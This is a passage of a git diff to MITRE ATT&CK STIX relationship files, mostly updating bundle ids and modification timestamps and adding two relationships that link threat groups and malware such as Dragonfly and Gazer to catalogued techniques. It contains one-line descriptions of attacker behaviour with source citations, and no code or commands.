@@ -8,7 +8,7 @@
             "id": "relationship--8bb44b86-379d-49ba-9b28-2451e69db30d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.076Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork collected the victim username and whether it was running as admin, then sent the information to its C2 server.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--8bbb18a7-5eab-4832-beac-f52f30b54862.json b/enterprise-attack/relationship/relationship--8bbb18a7-5eab-4832-beac-f52f30b54862.json
index 6e54deb2f8..feecad332f 100644
--- a/enterprise-attack/relationship/relationship--8bbb18a7-5eab-4832-beac-f52f30b54862.json
+++ b/enterprise-attack/relationship/relationship--8bbb18a7-5eab-4832-beac-f52f30b54862.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--399db087-4e10-490d-b642-a4f164e6397a",
+    "id": "bundle--50ccec70-db3d-46f1-aa03-e09fbbd1c130",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8bbb18a7-5eab-4832-beac-f52f30b54862",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd",
             "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
diff --git a/enterprise-attack/relationship/relationship--8beb37e3-5cf0-4229-ae27-186a37133521.json b/enterprise-attack/relationship/relationship--8beb37e3-5cf0-4229-ae27-186a37133521.json
index 73ed9b0473..3129e0be49 100644
--- a/enterprise-attack/relationship/relationship--8beb37e3-5cf0-4229-ae27-186a37133521.json
+++ b/enterprise-attack/relationship/relationship--8beb37e3-5cf0-4229-ae27-186a37133521.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa17031c-58ba-4de6-a56f-05dbbcfcdb4e",
+    "id": "bundle--1f184cda-7417-40c6-9a22-265f0c2b5b59",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8beb37e3-5cf0-4229-ae27-186a37133521",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can list file and directory information.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--8c359d18-06fc-4db1-9b58-6e85fa563066.json b/enterprise-attack/relationship/relationship--8c359d18-06fc-4db1-9b58-6e85fa563066.json
index 33465a6d9d..c50a379e7d 100644
--- a/enterprise-attack/relationship/relationship--8c359d18-06fc-4db1-9b58-6e85fa563066.json
+++ b/enterprise-attack/relationship/relationship--8c359d18-06fc-4db1-9b58-6e85fa563066.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a7a7be84-a745-4700-83d1-790229548759",
+    "id": "bundle--c64d4075-2791-4e2b-a163-c2e9e0561b99",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8c359d18-06fc-4db1-9b58-6e85fa563066",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS installs a registry Run key to establish persistence.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--8c58cfe5-0b71-434c-939a-329b612d2337.json b/enterprise-attack/relationship/relationship--8c58cfe5-0b71-434c-939a-329b612d2337.json
index e00be8f638..dd47175202 100644
--- a/enterprise-attack/relationship/relationship--8c58cfe5-0b71-434c-939a-329b612d2337.json
+++ b/enterprise-attack/relationship/relationship--8c58cfe5-0b71-434c-939a-329b612d2337.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fdce09d2-f136-45e2-b9c9-74c404ef09bd",
+    "id": "bundle--a1ebdf23-8e1d-43f6-a539-e6c5af993b58",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8c58cfe5-0b71-434c-939a-329b612d2337",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.067Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware IndiaIndia saves information gathered about the victim to a file that is compressed with Zlib, encrypted, and uploaded to a C2 server.Lazarus Group malware RomeoDelta archives specified directories in .zip format, encrypts the .zip file, and uploads it to its C2 server.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa.json b/enterprise-attack/relationship/relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa.json
index f4f194b32a..92fb5d97ee 100644
--- a/enterprise-attack/relationship/relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa.json
+++ b/enterprise-attack/relationship/relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93d4ea19-8b12-4b35-965f-adcfdc34dc12",
+    "id": "bundle--2895cb0e-fd6d-4b8c-90af-0b613ca05270",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.034Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Ke3chang gathered information and files from local directories for exfiltration.",
             "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
diff --git a/enterprise-attack/relationship/relationship--8c8cc494-628c-4540-b5ba-862cd937f94e.json b/enterprise-attack/relationship/relationship--8c8cc494-628c-4540-b5ba-862cd937f94e.json
new file mode 100644
index 0000000000..46c1289621
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8c8cc494-628c-4540-b5ba-862cd937f94e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f6a48ed0-83e2-4e10-8cf5-54dcc37ede41",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8c8cc494-628c-4540-b5ba-862cd937f94e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has performed forced authentication to gather hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce.json b/enterprise-attack/relationship/relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce.json
index 2ad9576d7d..d27f2916e9 100644
--- a/enterprise-attack/relationship/relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce.json
+++ b/enterprise-attack/relationship/relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--75e5dd22-c23c-4239-880e-e06133e98259",
+    "id": "bundle--5ecb5635-9288-4ec5-b90e-f735c4ca5e02",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL uses the Dropbox cloud storage service for command and control.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
diff --git a/enterprise-attack/relationship/relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6.json b/enterprise-attack/relationship/relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6.json
index 061cada63a..772b8d0f09 100644
--- a/enterprise-attack/relationship/relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6.json
+++ b/enterprise-attack/relationship/relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--03e1b2f7-8b23-4a75-b7df-952af4aa3aac",
+    "id": "bundle--85411db0-f7ab-4284-861e-28830e3a2f1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute the command <code>net localgroup administrators</code>.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794.json b/enterprise-attack/relationship/relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794.json
index c2301cfc09..dd243da906 100644
--- a/enterprise-attack/relationship/relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794.json
+++ b/enterprise-attack/relationship/relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--575ab5f6-d12b-4e8b-8831-e780e70f5b95",
+    "id": "bundle--3327d5f1-6c84-4379-addb-13b8a8a2a286",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Strider has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to dump credentials any time a domain, local user, or administrator logs in or changes a password.",
             "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
diff --git a/enterprise-attack/relationship/relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861.json b/enterprise-attack/relationship/relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861.json
index ccdc849dd5..39bd448a49 100644
--- a/enterprise-attack/relationship/relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861.json
+++ b/enterprise-attack/relationship/relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1ed91d38-40e3-4106-87bf-488e46891b1c",
+    "id": "bundle--0117decb-3bbc-429b-9f9a-712396f1adbb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8cbcb17a-01f4-4899-bc83-9b02fd44f861",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.043Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Deep Panda has used PowerShell scripts to download and execute programs in memory, without writing to disk.",
             "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796.json b/enterprise-attack/relationship/relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796.json
index 93ac40ad8c..3befb42e52 100644
--- a/enterprise-attack/relationship/relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796.json
+++ b/enterprise-attack/relationship/relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9493b5d6-a3ac-40ed-bb75-b4784f4e2e8b",
+    "id": "bundle--5f1135f6-47b2-4d27-9e20-cbe33619486d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8cdfc8e4-b657-4ae9-b9ee-9b6107fae796",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.046Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
diff --git a/enterprise-attack/relationship/relationship--8ce2219f-6c25-46a2-8215-a78871e2773a.json b/enterprise-attack/relationship/relationship--8ce2219f-6c25-46a2-8215-a78871e2773a.json
index d88bdc6520..138dec526e 100644
--- a/enterprise-attack/relationship/relationship--8ce2219f-6c25-46a2-8215-a78871e2773a.json
+++ b/enterprise-attack/relationship/relationship--8ce2219f-6c25-46a2-8215-a78871e2773a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29f4de7a-3958-468f-a5ac-1bb12e00b4da",
+    "id": "bundle--16f26281-2260-483a-ac52-019329f9957c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8ce2219f-6c25-46a2-8215-a78871e2773a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot can create a shortcut in the Windows startup folder for persistence.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260.json b/enterprise-attack/relationship/relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260.json
index 8e5b8d01a4..a524b2209c 100644
--- a/enterprise-attack/relationship/relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260.json
+++ b/enterprise-attack/relationship/relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67e1e01b-c10e-418b-ab23-367b3e56bd1f",
+    "id": "bundle--65909bd0-c8aa-4a05-a241-eee1320467e9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--8d4effdd-6d91-473d-aa81-d121f1c77881.json b/enterprise-attack/relationship/relationship--8d4effdd-6d91-473d-aa81-d121f1c77881.json
index ae06fd645a..6aee903d43 100644
--- a/enterprise-attack/relationship/relationship--8d4effdd-6d91-473d-aa81-d121f1c77881.json
+++ b/enterprise-attack/relationship/relationship--8d4effdd-6d91-473d-aa81-d121f1c77881.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94b77473-cef2-4011-976a-ee2afa4fd2e2",
+    "id": "bundle--84de0682-b860-457b-9a28-d1b0b871e9b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d4effdd-6d91-473d-aa81-d121f1c77881",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--8d5d9206-a213-465d-b384-6152eb2796a0.json b/enterprise-attack/relationship/relationship--8d5d9206-a213-465d-b384-6152eb2796a0.json
index 000b14b230..4aa274c835 100644
--- a/enterprise-attack/relationship/relationship--8d5d9206-a213-465d-b384-6152eb2796a0.json
+++ b/enterprise-attack/relationship/relationship--8d5d9206-a213-465d-b384-6152eb2796a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--388a2c0c-7dad-4f51-82b2-3ad2f8e010ee",
+    "id": "bundle--1a83f4dd-bf73-4738-af31-0d1801c379a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d5d9206-a213-465d-b384-6152eb2796a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "POSHSPY uses PowerShell to execute various commands, one to execute its payload.",
             "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
diff --git a/enterprise-attack/relationship/relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9.json b/enterprise-attack/relationship/relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9.json
index 7c355726a6..c02f702c68 100644
--- a/enterprise-attack/relationship/relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9.json
+++ b/enterprise-attack/relationship/relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd80c85a-fc59-4baf-8a85-0cbd0cb5c341",
+    "id": "bundle--1896f43a-3d52-4897-acfd-5faf360159d0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d65162b-650d-4a38-9c19-cc6c8e85a2e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
diff --git a/enterprise-attack/relationship/relationship--8d6cf235-4a33-4866-9b73-a7119293e5db.json b/enterprise-attack/relationship/relationship--8d6cf235-4a33-4866-9b73-a7119293e5db.json
index 6cae862a8b..b069805fdd 100644
--- a/enterprise-attack/relationship/relationship--8d6cf235-4a33-4866-9b73-a7119293e5db.json
+++ b/enterprise-attack/relationship/relationship--8d6cf235-4a33-4866-9b73-a7119293e5db.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aecefd6a-888c-4819-baa4-f3b0a09d326a",
+    "id": "bundle--ca370344-d853-443c-9978-292024806118",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d6cf235-4a33-4866-9b73-a7119293e5db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc.json b/enterprise-attack/relationship/relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc.json
index 4064eb157d..7dec2896b1 100644
--- a/enterprise-attack/relationship/relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc.json
+++ b/enterprise-attack/relationship/relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4cf362be-4b83-4a5f-9542-d8183416f76c",
+    "id": "bundle--6660b1fd-a835-46de-98d1-fa250900a845",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--8d976244-6d4e-443a-98c0-52fe1d94c388.json b/enterprise-attack/relationship/relationship--8d976244-6d4e-443a-98c0-52fe1d94c388.json
index ff42399db8..b9226d465a 100644
--- a/enterprise-attack/relationship/relationship--8d976244-6d4e-443a-98c0-52fe1d94c388.json
+++ b/enterprise-attack/relationship/relationship--8d976244-6d4e-443a-98c0-52fe1d94c388.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97e3a163-02e4-40f4-a548-0f8c976f1a0b",
+    "id": "bundle--71ac45bc-f9bc-4940-a7c8-13b53b6ee161",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8d976244-6d4e-443a-98c0-52fe1d94c388",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "hcdLoader installs itself as a service for persistence.",
             "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
diff --git a/enterprise-attack/relationship/relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e.json b/enterprise-attack/relationship/relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e.json
new file mode 100644
index 0000000000..3f80b56ea4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--92a99a6c-8906-4a96-a9b8-9732d2abce29",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer can execute a task to download a file.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878.json b/enterprise-attack/relationship/relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878.json
index de9c059534..1002668508 100644
--- a/enterprise-attack/relationship/relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878.json
+++ b/enterprise-attack/relationship/relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79bba6b4-ebef-49df-bd25-a2ba6ba0ffde",
+    "id": "bundle--6eb57c5d-4402-4469-8531-646de1ff0b94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon copies an executable payload to the target system by using Windows Admin Shares and then scheduling an unnamed task to execute the malware.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641.json b/enterprise-attack/relationship/relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641.json
index ce13a40ea2..5e9bf0a12c 100644
--- a/enterprise-attack/relationship/relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641.json
+++ b/enterprise-attack/relationship/relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c91f7ce9-354b-40f8-86d4-8f5c92eeaccb",
+    "id": "bundle--f164ea75-d35d-4bca-acc4-729f86e5bb49",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Patchwork collected and exfiltrated files from the infected system.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--8e69c855-db70-4b5e-866b-f9ce0b786156.json b/enterprise-attack/relationship/relationship--8e69c855-db70-4b5e-866b-f9ce0b786156.json
index 3078c2bad6..1b7e7a93fc 100644
--- a/enterprise-attack/relationship/relationship--8e69c855-db70-4b5e-866b-f9ce0b786156.json
+++ b/enterprise-attack/relationship/relationship--8e69c855-db70-4b5e-866b-f9ce0b786156.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e6bbf137-25f1-4082-b9f7-a01529d602ea",
+    "id": "bundle--86eaad8d-fad5-40cd-9fa1-acf263bf621b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8e69c855-db70-4b5e-866b-f9ce0b786156",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
